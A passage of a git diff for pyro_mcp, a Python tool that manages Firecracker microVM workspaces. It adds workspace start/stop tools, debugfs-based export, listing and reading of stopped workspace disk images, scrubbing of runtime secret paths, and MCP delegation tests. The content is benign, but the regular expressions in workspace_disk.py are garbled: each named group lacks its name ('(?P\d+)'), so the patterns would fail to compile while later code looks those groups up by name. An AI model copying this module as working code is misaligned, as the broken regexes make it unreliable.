"workspace_disk_list", + "workspace_disk_read", "workspace_diff", "workspace_exec", "workspace_export", "workspace_logs", "workspace_reset", + "workspace_start", "workspace_status", + "workspace_stop", "workspace_sync_push", ) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 1cedeeb..c34537e 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.0.0" +DEFAULT_CATALOG_VERSION = "3.1.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 3dad54d..20e7704 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -34,6 +34,12 @@ from pyro_mcp.vm_environments import EnvironmentStore, default_cache_dir, get_en from pyro_mcp.vm_firecracker import build_launch_plan from pyro_mcp.vm_guest import VsockExecClient from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager +from pyro_mcp.workspace_disk import ( + export_workspace_disk_image, + list_workspace_disk, + read_workspace_disk_file, + scrub_workspace_runtime_paths, +) from pyro_mcp.workspace_ports import DEFAULT_PUBLISHED_PORT_HOST from pyro_mcp.workspace_shells import ( create_local_shell, @@ -72,6 +78,7 @@ WORKSPACE_SECRET_MAX_BYTES = 64 * 1024 DEFAULT_SHELL_COLS = 120 DEFAULT_SHELL_ROWS = 30 DEFAULT_SHELL_MAX_CHARS = 65536 +DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES = 65536 DEFAULT_SERVICE_READY_TIMEOUT_SECONDS = 30 DEFAULT_SERVICE_READY_INTERVAL_MS = 500 DEFAULT_SERVICE_LOG_TAIL_LINES = 200 @@ -789,6 +796,28 @@ def _workspace_host_destination(workspace_dir: Path, destination: str) -> Path: return workspace_dir.joinpath(*suffix.parts) +def _normalize_workspace_disk_path(path: str) -> str: + candidate = path.strip() + if candidate == "": + raise ValueError("workspace disk path must not be empty") + if candidate.startswith("/"): + raw_path = PurePosixPath(candidate) + normalized_parts: list[str] = [] + for part in raw_path.parts: + if part in {"", "/", "."}: + continue + if part == "..": + if normalized_parts: + normalized_parts.pop() + continue + normalized_parts.append(part) + if not normalized_parts: + return "/" + return str(PurePosixPath("/") / PurePosixPath(*normalized_parts)) + normalized, _ = _normalize_workspace_destination(candidate) + return normalized + + def _normalize_archive_member_name(name: str) -> PurePosixPath: candidate = name.strip() if candidate == "": @@ -2480,6 +2509,11 @@ class FirecrackerBackend(VmBackend): # pragma: no cover def start(self, instance: VmInstance) -> None: launch_plan = build_launch_plan(instance) + for stale_socket_path in ( + launch_plan.api_socket_path, + instance.workdir / "vsock.sock", + ): + stale_socket_path.unlink(missing_ok=True) instance.metadata["firecracker_config_path"] = str(launch_plan.config_path) instance.metadata["guest_network_path"] = str(launch_plan.guest_network_path) instance.metadata["guest_exec_path"] = str(launch_plan.guest_exec_path) @@ -4309,6 +4343,159 @@ class VmManager: "entries": redacted_entries, } + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + try: + self._stop_workspace_services_locked(workspace, instance) + self._close_workspace_shells_locked(workspace, instance) + self._flush_workspace_filesystem_locked(workspace, instance) + if workspace.state == "started": + self._backend.stop(instance) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = None + workspace.metadata = dict(instance.metadata) + self._scrub_workspace_runtime_state_locked(workspace) + except Exception as exc: + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = str(exc) + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + raise + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state == "started": + self._refresh_workspace_service_counts_locked(workspace) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + instance = workspace.to_instance( + workdir=self._workspace_runtime_dir(workspace.workspace_id) + ) + self._stop_workspace_services_locked(workspace, instance) + self._close_workspace_shells_locked(workspace, instance) + try: + self._require_workspace_network_policy_support( + network_policy=workspace.network_policy + ) + if self._runtime_capabilities.supports_guest_exec: + self._ensure_workspace_guest_bootstrap_support(instance) + with self._lock: + self._start_instance_locked(instance) + workspace = self._load_workspace_locked(workspace_id) + if workspace.secrets: + self._install_workspace_secrets_locked(workspace, instance) + workspace.state = instance.state + workspace.firecracker_pid = instance.firecracker_pid + workspace.last_error = None + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + return self._serialize_workspace(workspace) + except Exception as exc: + try: + if instance.state == "started": + self._backend.stop(instance) + except Exception: + pass + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + workspace.state = "stopped" + workspace.firecracker_pid = None + workspace.last_error = str(exc) + workspace.metadata = dict(instance.metadata) + self._save_workspace_locked(workspace) + raise + + def export_workspace_disk( + self, + workspace_id: str, + *, + output_path: str | Path, + ) -> dict[str, Any]: + raw_output_path = str(output_path).strip() + if raw_output_path == "": + raise ValueError("output_path must not be empty") + resolved_output_path = Path(output_path).expanduser().resolve() + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + rootfs_path = self._workspace_stopped_disk_rootfs_locked( + workspace, + operation_name="workspace_disk_export", + ) + self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) + self._save_workspace_locked(workspace) + exported = export_workspace_disk_image(rootfs_path, output_path=resolved_output_path) + return { + "workspace_id": workspace_id, + "output_path": str(Path(str(exported["output_path"]))), + "disk_format": str(exported["disk_format"]), + "bytes_written": int(exported["bytes_written"]), + } + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = WORKSPACE_GUEST_PATH, + recursive: bool = False, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_disk_path(path) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + rootfs_path = self._workspace_stopped_disk_rootfs_locked( + workspace, + operation_name="workspace_disk_list", + ) + self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) + self._save_workspace_locked(workspace) + entries = list_workspace_disk( + rootfs_path, + guest_path=normalized_path, + recursive=recursive, + ) + return { + "workspace_id": workspace_id, + "path": normalized_path, + "recursive": recursive, + "entries": entries, + } + + def read_workspace_disk( + self, + workspace_id: str, + *, + path: str, + max_bytes: int = DEFAULT_WORKSPACE_DISK_READ_MAX_BYTES, + ) -> dict[str, Any]: + normalized_path = _normalize_workspace_disk_path(path) + with self._lock: + workspace = self._load_workspace_locked(workspace_id) + rootfs_path = self._workspace_stopped_disk_rootfs_locked( + workspace, + operation_name="workspace_disk_read", + ) + self._scrub_workspace_runtime_state_locked(workspace, rootfs_path=rootfs_path) + self._save_workspace_locked(workspace) + payload = read_workspace_disk_file( + rootfs_path, + guest_path=normalized_path, + max_bytes=max_bytes, + ) + payload["workspace_id"] = workspace_id + return payload + def delete_workspace( self, workspace_id: str, @@ -4748,6 +4935,67 @@ class VmManager: def _workspace_service_record_path(self, workspace_id: str, service_name: str) -> Path: return self._workspace_services_dir(workspace_id) / f"{service_name}.json" + def _workspace_rootfs_image_path_locked( + self, + workspace: WorkspaceRecord, + ) -> Path: + raw_rootfs_image = workspace.metadata.get("rootfs_image") + if raw_rootfs_image is None or raw_rootfs_image == "": + raise RuntimeError( + f"workspace {workspace.workspace_id!r} does not have a persisted rootfs image" + ) + rootfs_path = Path(raw_rootfs_image) + if not rootfs_path.exists(): + raise RuntimeError( + f"workspace {workspace.workspace_id!r} rootfs image is unavailable at " + f"{rootfs_path}" + ) + return rootfs_path + + def _workspace_stopped_disk_rootfs_locked( + self, + workspace: WorkspaceRecord, + *, + operation_name: str, + ) -> Path: + self._ensure_workspace_not_expired_locked(workspace, time.time()) + self._refresh_workspace_liveness_locked(workspace) + if workspace.state != "stopped": + raise RuntimeError( + f"workspace {workspace.workspace_id!r} must be stopped before {operation_name}" + ) + if workspace.metadata.get("execution_mode") == "host_compat": + raise RuntimeError( + f"{operation_name} is unavailable for host_compat workspaces" + ) + return self._workspace_rootfs_image_path_locked(workspace) + + def _scrub_workspace_runtime_state_locked( + self, + workspace: WorkspaceRecord, + *, + rootfs_path: Path | None = None, + ) -> None: + execution_mode = workspace.metadata.get("execution_mode") + if execution_mode == "host_compat": + return + scrub_workspace_runtime_paths( + rootfs_path or self._workspace_rootfs_image_path_locked(workspace) + ) + + def _flush_workspace_filesystem_locked( + self, + workspace: WorkspaceRecord, + instance: VmInstance, + ) -> None: + if workspace.state != "started": + return + if self._backend_name == "mock": + return + if not self._runtime_capabilities.supports_guest_exec: + return + self._backend.exec(instance, "sync", 10) + def _count_workspaces_locked(self) -> int: return sum(1 for _ in self._workspaces_dir.glob("*/workspace.json")) diff --git a/src/pyro_mcp/workspace_disk.py b/src/pyro_mcp/workspace_disk.py new file mode 100644 index 0000000..756cfac --- /dev/null +++ b/src/pyro_mcp/workspace_disk.py @@ -0,0 +1,264 @@ +"""Stopped-workspace disk export and offline inspection helpers.""" + +from __future__ import annotations + +import re +import shutil +import subprocess +import tempfile +from dataclasses import dataclass +from pathlib import Path, PurePosixPath +from typing import Literal + +WorkspaceDiskArtifactType = Literal["file", "directory", "symlink"] + +WORKSPACE_DISK_RUNTIME_ONLY_PATHS = ( + "/run/pyro-secrets", + "/run/pyro-shells", + "/run/pyro-services", +) + +_DEBUGFS_LS_RE = re.compile( + r"^/(?P\d+)/(?P\d+)/(?P\d+)/(?P\d+)/(?P.*)/(?P\d*)/$" +) +_DEBUGFS_SIZE_RE = re.compile(r"Size:\s+(?P\d+)") +_DEBUGFS_TYPE_RE = re.compile(r"Type:\s+(?P\w+)") +_DEBUGFS_LINK_RE = re.compile(r'Fast link dest:\s+"(?P.*)"') + + +@dataclass(frozen=True) +class WorkspaceDiskEntry: + """One inspectable path from a stopped workspace rootfs image.""" + + path: str + artifact_type: WorkspaceDiskArtifactType + size_bytes: int + link_target: str | None = None + + def to_payload(self) -> dict[str, str | int | None]: + return { + "path": self.path, + "artifact_type": self.artifact_type, + "size_bytes": self.size_bytes, + "link_target": self.link_target, + } + + +@dataclass(frozen=True) +class _DebugfsStat: + path: str + artifact_type: WorkspaceDiskArtifactType + size_bytes: int + link_target: str | None = None + + +@dataclass(frozen=True) +class _DebugfsDirEntry: + name: str + path: str + artifact_type: WorkspaceDiskArtifactType | None + size_bytes: int + + +def export_workspace_disk_image(rootfs_image: Path, *, output_path: Path) -> dict[str, str | int]: + """Copy one stopped workspace rootfs image to the requested host path.""" + output_path.parent.mkdir(parents=True, exist_ok=True) + if output_path.exists() or output_path.is_symlink(): + raise RuntimeError(f"output_path already exists: {output_path}") + shutil.copy2(rootfs_image, output_path) + return { + "output_path": str(output_path), + "disk_format": "ext4", + "bytes_written": output_path.stat().st_size, + } + + +def list_workspace_disk( + rootfs_image: Path, + *, + guest_path: str, + recursive: bool, +) -> list[dict[str, str | int | None]]: + """Return inspectable entries from one stopped workspace rootfs path.""" + target = _debugfs_stat(rootfs_image, guest_path) + if target is None: + raise RuntimeError(f"workspace disk path does not exist: {guest_path}") + if target.artifact_type != "directory": + return [WorkspaceDiskEntry(**target.__dict__).to_payload()] + entries: list[WorkspaceDiskEntry] = [] + + def walk(current_path: str) -> None: + children = _debugfs_ls_entries(rootfs_image, current_path) + for child in children: + if child.artifact_type is None: + continue + link_target = None + if child.artifact_type == "symlink": + child_stat = _debugfs_stat(rootfs_image, child.path) + link_target = None if child_stat is None else child_stat.link_target + entries.append( + WorkspaceDiskEntry( + path=child.path, + artifact_type=child.artifact_type, + size_bytes=child.size_bytes, + link_target=link_target, + ) + ) + if recursive and child.artifact_type == "directory": + walk(child.path) + + walk(guest_path) + entries.sort(key=lambda item: item.path) + return [entry.to_payload() for entry in entries] + + +def read_workspace_disk_file( + rootfs_image: Path, + *, + guest_path: str, + max_bytes: int, +) -> dict[str, str | int | bool]: + """Read one regular file from a stopped workspace rootfs image.""" + target = _debugfs_stat(rootfs_image, guest_path) + if target is None: + raise RuntimeError(f"workspace disk path does not exist: {guest_path}") + if target.artifact_type != "file": + raise RuntimeError("workspace disk read only supports regular files") + if max_bytes <= 0: + raise ValueError("max_bytes must be positive") + with tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-read-") as temp_dir: + dumped_path = Path(temp_dir) / "workspace-disk-read.bin" + _run_debugfs(rootfs_image, f"dump {guest_path} {dumped_path}") + if not dumped_path.exists(): + raise RuntimeError(f"failed to dump workspace disk file: {guest_path}") + raw_bytes = dumped_path.read_bytes() + return { + "path": guest_path, + "size_bytes": len(raw_bytes), + "max_bytes": max_bytes, + "content": raw_bytes[:max_bytes].decode("utf-8", errors="replace"), + "truncated": len(raw_bytes) > max_bytes, + } + + +def scrub_workspace_runtime_paths(rootfs_image: Path) -> None: + """Remove runtime-only guest paths from a stopped workspace rootfs image.""" + for guest_path in WORKSPACE_DISK_RUNTIME_ONLY_PATHS: + _debugfs_remove_tree(rootfs_image, guest_path) + + +def _run_debugfs(rootfs_image: Path, command: str, *, writable: bool = False) -> str: + debugfs_path = shutil.which("debugfs") + if debugfs_path is None: + raise RuntimeError("debugfs is required for workspace disk operations") + debugfs_command = [debugfs_path] + if writable: + debugfs_command.append("-w") + proc = subprocess.run( # noqa: S603 + [*debugfs_command, "-R", command, str(rootfs_image)], + text=True, + capture_output=True, + check=False, + ) + combined = proc.stdout + if proc.stderr != "": + combined = combined + ("\n" if combined != "" else "") + proc.stderr + output = _strip_debugfs_banner(combined) + if proc.returncode != 0: + message = output.strip() + if message == "": + message = f"debugfs command failed: {command}" + raise RuntimeError(message) + return output.strip() + + +def _strip_debugfs_banner(output: str) -> str: + lines = output.splitlines() + while lines and lines[0].startswith("debugfs "): + lines.pop(0) + return "\n".join(lines) + + +def _debugfs_missing(output: str) -> bool: + return "File not found by ext2_lookup" in output or "File not found by ext2fs_lookup" in output + + +def _artifact_type_from_mode(mode: str) -> WorkspaceDiskArtifactType | None: + if mode.startswith("04"): + return "directory" + if mode.startswith("10"): + return "file" + if mode.startswith("12"): + return "symlink" + return None + + +def _debugfs_stat(rootfs_image: Path, guest_path: str) -> _DebugfsStat | None: + output = _run_debugfs(rootfs_image, f"stat {guest_path}") + if _debugfs_missing(output): + return None + type_match = _DEBUGFS_TYPE_RE.search(output) + size_match = _DEBUGFS_SIZE_RE.search(output) + if type_match is None or size_match is None: + raise RuntimeError(f"failed to inspect workspace disk path: {guest_path}") + raw_type = type_match.group("type") + artifact_type: WorkspaceDiskArtifactType + if raw_type == "directory": + artifact_type = "directory" + elif raw_type == "regular": + artifact_type = "file" + elif raw_type == "symlink": + artifact_type = "symlink" + else: + raise RuntimeError(f"unsupported workspace disk path type: {guest_path}") + link_target = None + if artifact_type == "symlink": + link_match = _DEBUGFS_LINK_RE.search(output) + if link_match is not None: + link_target = link_match.group("target") + return _DebugfsStat( + path=guest_path, + artifact_type=artifact_type, + size_bytes=int(size_match.group("size")), + link_target=link_target, + ) + + +def _debugfs_ls_entries(rootfs_image: Path, guest_path: str) -> list[_DebugfsDirEntry]: + output = _run_debugfs(rootfs_image, f"ls -p {guest_path}") + if _debugfs_missing(output): + raise RuntimeError(f"workspace disk path does not exist: {guest_path}") + entries: list[_DebugfsDirEntry] = [] + base = PurePosixPath(guest_path) + for raw_line in output.splitlines(): + line = raw_line.strip() + if line == "": + continue + match = _DEBUGFS_LS_RE.match(line) + if match is None: + continue + name = match.group("name") + if name in {".", ".."}: + continue + child_path = str(base / name) if str(base) != "/" else f"/{name}" + entries.append( + _DebugfsDirEntry( + name=name, + path=child_path, + artifact_type=_artifact_type_from_mode(match.group("mode")), + size_bytes=int(match.group("size") or "0"), + ) + ) + return entries + + +def _debugfs_remove_tree(rootfs_image: Path, guest_path: str) -> None: + stat_result = _debugfs_stat(rootfs_image, guest_path) + if stat_result is None: + return + if stat_result.artifact_type == "directory": + for child in _debugfs_ls_entries(rootfs_image, guest_path): + _debugfs_remove_tree(rootfs_image, child.path) + _run_debugfs(rootfs_image, f"rmdir {guest_path}", writable=True) + return + _run_debugfs(rootfs_image, f"rm {guest_path}", writable=True) diff --git a/tests/test_api.py b/tests/test_api.py index 61b7e86..3ae927a 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -50,9 +50,14 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: assert "vm_run" in tool_names assert "vm_create" in tool_names assert "workspace_create" in tool_names + assert "workspace_start" in tool_names + assert "workspace_stop" in tool_names assert "workspace_diff" in tool_names assert "workspace_sync_push" in tool_names assert "workspace_export" in tool_names + assert "workspace_disk_export" in tool_names + assert "workspace_disk_list" in tool_names + assert "workspace_disk_read" in tool_names assert "snapshot_create" in tool_names assert "snapshot_list" in tool_names assert "snapshot_delete" in tool_names @@ -289,3 +294,603 @@ def test_pyro_workspace_methods_delegate_to_manager(tmp_path: Path) -> None: assert status["service_count"] == 0 assert logs["count"] == 0 assert deleted["deleted"] is True + + +def test_pyro_workspace_disk_methods_delegate_to_manager() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("stop_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "stopped"} + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("start_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "started"} + + def export_workspace_disk(self, workspace_id: str, *, output_path: Path) -> dict[str, Any]: + calls.append( + ( + "export_workspace_disk", + {"workspace_id": workspace_id, "output_path": str(output_path)}, + ) + ) + return {"workspace_id": workspace_id, "output_path": str(output_path)} + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_disk( + self, + workspace_id: str, + *, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": ""} + + pyro = Pyro(manager=cast(Any, StubManager())) + + stopped = pyro.stop_workspace("workspace-123") + started = pyro.start_workspace("workspace-123") + exported = pyro.export_workspace_disk("workspace-123", output_path=Path("/tmp/workspace.ext4")) + listed = pyro.list_workspace_disk("workspace-123", path="/workspace/src", recursive=True) + read = pyro.read_workspace_disk("workspace-123", "note.txt", max_bytes=4096) + + assert stopped["state"] == "stopped" + assert started["state"] == "started" + assert exported["output_path"] == "/tmp/workspace.ext4" + assert listed["entries"] == [] + assert read["content"] == "" + assert calls == [ + ("stop_workspace", {"workspace_id": "workspace-123"}), + ("start_workspace", {"workspace_id": "workspace-123"}), + ( + "export_workspace_disk", + { + "workspace_id": "workspace-123", + "output_path": "/tmp/workspace.ext4", + }, + ), + ( + "list_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ] + + +def test_pyro_create_server_workspace_disk_tools_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def stop_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("stop_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "stopped"} + + def start_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("start_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "started"} + + def export_workspace_disk(self, workspace_id: str, *, output_path: str) -> dict[str, Any]: + calls.append( + ( + "export_workspace_disk", + {"workspace_id": workspace_id, "output_path": output_path}, + ) + ) + return {"workspace_id": workspace_id, "output_path": output_path} + + def list_workspace_disk( + self, + workspace_id: str, + *, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + calls.append( + ( + "list_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "recursive": recursive, + }, + ) + ) + return {"workspace_id": workspace_id, "entries": []} + + def read_workspace_disk( + self, + workspace_id: str, + *, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_workspace_disk", + { + "workspace_id": workspace_id, + "path": path, + "max_bytes": max_bytes, + }, + ) + ) + return {"workspace_id": workspace_id, "content": ""} + + pyro = Pyro(manager=cast(Any, StubManager())) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = pyro.create_server() + stopped = _extract_structured( + await server.call_tool("workspace_stop", {"workspace_id": "workspace-123"}) + ) + started = _extract_structured( + await server.call_tool("workspace_start", {"workspace_id": "workspace-123"}) + ) + exported = _extract_structured( + await server.call_tool( + "workspace_disk_export", + { + "workspace_id": "workspace-123", + "output_path": "/tmp/workspace.ext4", + }, + ) + ) + listed = _extract_structured( + await server.call_tool( + "workspace_disk_list", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ) + ) + read = _extract_structured( + await server.call_tool( + "workspace_disk_read", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ) + ) + return stopped, started, exported, listed, read + + stopped, started, exported, listed, read = asyncio.run(_run()) + assert stopped["state"] == "stopped" + assert started["state"] == "started" + assert exported["output_path"] == "/tmp/workspace.ext4" + assert listed["entries"] == [] + assert read["content"] == "" + assert calls == [ + ("stop_workspace", {"workspace_id": "workspace-123"}), + ("start_workspace", {"workspace_id": "workspace-123"}), + ( + "export_workspace_disk", + { + "workspace_id": "workspace-123", + "output_path": "/tmp/workspace.ext4", + }, + ), + ( + "list_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "/workspace/src", + "recursive": True, + }, + ), + ( + "read_workspace_disk", + { + "workspace_id": "workspace-123", + "path": "note.txt", + "max_bytes": 4096, + }, + ), + ] + + +def test_pyro_create_server_workspace_status_shell_and_service_delegate() -> None: + calls: list[tuple[str, dict[str, Any]]] = [] + + class StubManager: + def status_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("status_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "state": "started"} + + def logs_workspace(self, workspace_id: str) -> dict[str, Any]: + calls.append(("logs_workspace", {"workspace_id": workspace_id})) + return {"workspace_id": workspace_id, "count": 0, "entries": []} + + def open_shell( + self, + workspace_id: str, + *, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + calls.append( + ( + "open_shell", + { + "workspace_id": workspace_id, + "cwd": cwd, + "cols": cols, + "rows": rows, + "secret_env": secret_env, + }, + ) + ) + return {"workspace_id": workspace_id, "shell_id": "shell-1", "state": "running"} + + def read_shell( + self, + workspace_id: str, + shell_id: str, + *, + cursor: int = 0, + max_chars: int = 65536, + ) -> dict[str, Any]: + calls.append( + ( + "read_shell", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "cursor": cursor, + "max_chars": max_chars, + }, + ) + ) + return {"workspace_id": workspace_id, "shell_id": shell_id, "output": ""} + + def write_shell( + self, + workspace_id: str, + shell_id: str, + *, + input_text: str, + append_newline: bool = True, + ) -> dict[str, Any]: + calls.append( + ( + "write_shell", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "input_text": input_text, + "append_newline": append_newline, + }, + ) + ) + return { + "workspace_id": workspace_id, + "shell_id": shell_id, + "input_length": len(input_text), + } + + def signal_shell( + self, + workspace_id: str, + shell_id: str, + *, + signal_name: str = "INT", + ) -> dict[str, Any]: + calls.append( + ( + "signal_shell", + { + "workspace_id": workspace_id, + "shell_id": shell_id, + "signal_name": signal_name, + }, + ) + ) + return {"workspace_id": workspace_id, "shell_id": shell_id, "signal": signal_name} + + def close_shell(self, workspace_id: str, shell_id: str) -> dict[str, Any]: + calls.append( + ("close_shell", {"workspace_id": workspace_id, "shell_id": shell_id}) + ) + return {"workspace_id": workspace_id, "shell_id": shell_id, "closed": True} + + def start_service( + self, + workspace_id: str, + service_name: str, + **kwargs: Any, + ) -> dict[str, Any]: + calls.append( + ( + "start_service", + { + "workspace_id": workspace_id, + "service_name": service_name, + **kwargs, + }, + ) + ) + return {"workspace_id": workspace_id, "service_name": service_name, "state": "running"} + + pyro = Pyro(manager=cast(Any, StubManager())) + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = pyro.create_server() + status = _extract_structured( + await server.call_tool("workspace_status", {"workspace_id": "workspace-123"}) + ) + logs = _extract_structured( + await server.call_tool("workspace_logs", {"workspace_id": "workspace-123"}) + ) + opened = _extract_structured( + await server.call_tool( + "shell_open", + { + "workspace_id": "workspace-123", + "cwd": "/workspace/src", + "cols": 100, + "rows": 20, + "secret_env": {"TOKEN": "API_TOKEN"}, + }, + ) + ) + read = _extract_structured( + await server.call_tool( + "shell_read", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "cursor": 5, + "max_chars": 1024, + }, + ) + ) + wrote = _extract_structured( + await server.call_tool( + "shell_write", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "input": "pwd", + "append_newline": False, + }, + ) + ) + signaled = _extract_structured( + await server.call_tool( + "shell_signal", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "signal_name": "TERM", + }, + ) + ) + closed = _extract_structured( + await server.call_tool( + "shell_close", + {"workspace_id": "workspace-123", "shell_id": "shell-1"}, + ) + ) + file_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "file", + "command": "run-file", + "ready_file": ".ready", + }, + ) + ) + tcp_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "tcp", + "command": "run-tcp", + "ready_tcp": "127.0.0.1:8080", + }, + ) + ) + http_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "http", + "command": "run-http", + "ready_http": "http://127.0.0.1:8080/", + }, + ) + ) + command_service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": "workspace-123", + "service_name": "command", + "command": "run-command", + "ready_command": "test -f .ready", + }, + ) + ) + return ( + status, + logs, + opened, + read, + wrote, + signaled, + closed, + file_service, + tcp_service, + http_service, + command_service, + ) + + results = asyncio.run(_run()) + assert results[0]["state"] == "started" + assert results[1]["count"] == 0 + assert results[2]["shell_id"] == "shell-1" + assert results[6]["closed"] is True + assert results[7]["state"] == "running" + assert results[10]["state"] == "running" + assert calls == [ + ("status_workspace", {"workspace_id": "workspace-123"}), + ("logs_workspace", {"workspace_id": "workspace-123"}), + ( + "open_shell", + { + "workspace_id": "workspace-123", + "cwd": "/workspace/src", + "cols": 100, + "rows": 20, + "secret_env": {"TOKEN": "API_TOKEN"}, + }, + ), + ( + "read_shell", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "cursor": 5, + "max_chars": 1024, + }, + ), + ( + "write_shell", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "input_text": "pwd", + "append_newline": False, + }, + ), + ( + "signal_shell", + { + "workspace_id": "workspace-123", + "shell_id": "shell-1", + "signal_name": "TERM", + }, + ), + ("close_shell", {"workspace_id": "workspace-123", "shell_id": "shell-1"}), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "file", + "command": "run-file", + "cwd": "/workspace", + "readiness": {"type": "file", "path": ".ready"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "tcp", + "command": "run-tcp", + "cwd": "/workspace", + "readiness": {"type": "tcp", "address": "127.0.0.1:8080"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "http", + "command": "run-http", + "cwd": "/workspace", + "readiness": {"type": "http", "url": "http://127.0.0.1:8080/"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ( + "start_service", + { + "workspace_id": "workspace-123", + "service_name": "command", + "command": "run-command", + "cwd": "/workspace", + "readiness": {"type": "command", "command": "test -f .ready"}, + "ready_timeout_seconds": 30, + "ready_interval_ms": 500, + "secret_env": None, + "published_ports": None, + }, + ), + ] diff --git a/tests/test_cli.py b/tests/test_cli.py index 609abb2..872c5a0 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -72,6 +72,10 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: assert "pyro workspace exec WORKSPACE_ID" in 